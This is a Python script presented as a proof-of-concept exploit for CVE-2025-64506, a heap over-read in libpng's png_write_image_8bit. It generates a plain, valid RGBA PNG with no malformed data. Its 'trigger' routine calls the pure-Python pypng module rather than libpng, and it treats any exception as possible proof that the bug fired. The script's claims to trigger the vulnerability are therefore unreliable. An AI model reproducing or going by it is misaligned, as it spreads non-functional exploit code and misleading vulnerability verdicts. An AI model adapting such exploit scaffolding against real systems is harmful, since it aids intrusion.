#!/usr/bin/env python3
# CVE-2025-64506 PoC - libpng png_write_image_8bit Heap Buffer Over-read
# This PoC demonstrates creating a malicious PNG that triggers the vulnerability
import struct
import zlib
def create_png_with_trigger():
"""
Create a crafted PNG file that triggers heap buffer over-read
in png_write_image_8bit function when convert_to_8bit is enabled.
"""
# PNG signature
signature = b'\x89PNG\r\n\x1a\n'
# IHDR chunk - 8-bit RGBA image with specific dimensions
# to trigger incomplete row processing
width = 10
height = 5
bit_depth = 8
color_type = 6 # RGBA
ihdr_data = struct.pack('>IIBBBBB', width, height, bit_depth,
color_type, 0, 0, 0)
ihdr_chunk = create_chunk(b'IHDR', ihdr_data)
# IDAT chunk - crafted compressed image data
# This creates rows that will trigger the vulnerable code path
raw_data = b''
for y in range(height):
raw_data += b'\x00' # Filter byte
for x in range(width):
# RGBA values that trigger the vulnerability
raw_data += bytes([0xFF, 0x00, 0x00, 0x80])
compressed = zlib.compress(raw_data, 9)
idat_chunk = create_chunk(b'IDAT', compressed)
# IEND chunk
iend_chunk = create_chunk(b'IEND', b'')
png_data = signature + ihdr_chunk + idat_chunk + iend_chunk
return png_data
def create_chunk(chunk_type, data):
"""Create a PNG chunk with proper CRC."""
chunk_len = struct.pack('>I', len(data))
chunk_crc = struct.pack('>I', zlib.crc32(chunk_type + data) & 0xffffffff)
return chunk_len + chunk_type + data + chunk_crc
def trigger_vulnerability():
"""
Trigger the vulnerability using libpng.
This simulates the vulnerable code path in png_write_image_8bit.
"""
try:
import png
# Read the crafted PNG
reader = png.Reader(filename='cve_2025_64506_poc.png')
_, _, rows = reader.read()
# Convert to 8-bit with convert_to_8bit enabled
# This triggers the vulnerable path
image_data = list(rows)
# Attempt to write using simplified API with convert_to_8bit
writer = png.Writer(width=reader.width, height=reader.height,
bitdepth=8, alpha=True)
writer.write_array(open('output.png', 'wb'),
[byte for row in image_data for byte in row])
print("[!] Vulnerability may have been triggered")
except Exception as e:
print(f"[*] Exception occurred: {e}")
print("[*] This may indicate the vulnerability was triggered")
if __name__ == "__main__":
print("[*] Generating PoC PNG for CVE-2025-64506")
png_data = create_png_with_trigger()
with open('cve_2025_64506_poc.png', 'wb') as f:
f.write(png_data)
print("[+] PoC PNG created: cve_2025_64506_poc.png")
print("[*] To trigger, process this file with libpng < 1.6.51")
print("[*] using png_write_image with convert_to_8bit enabled")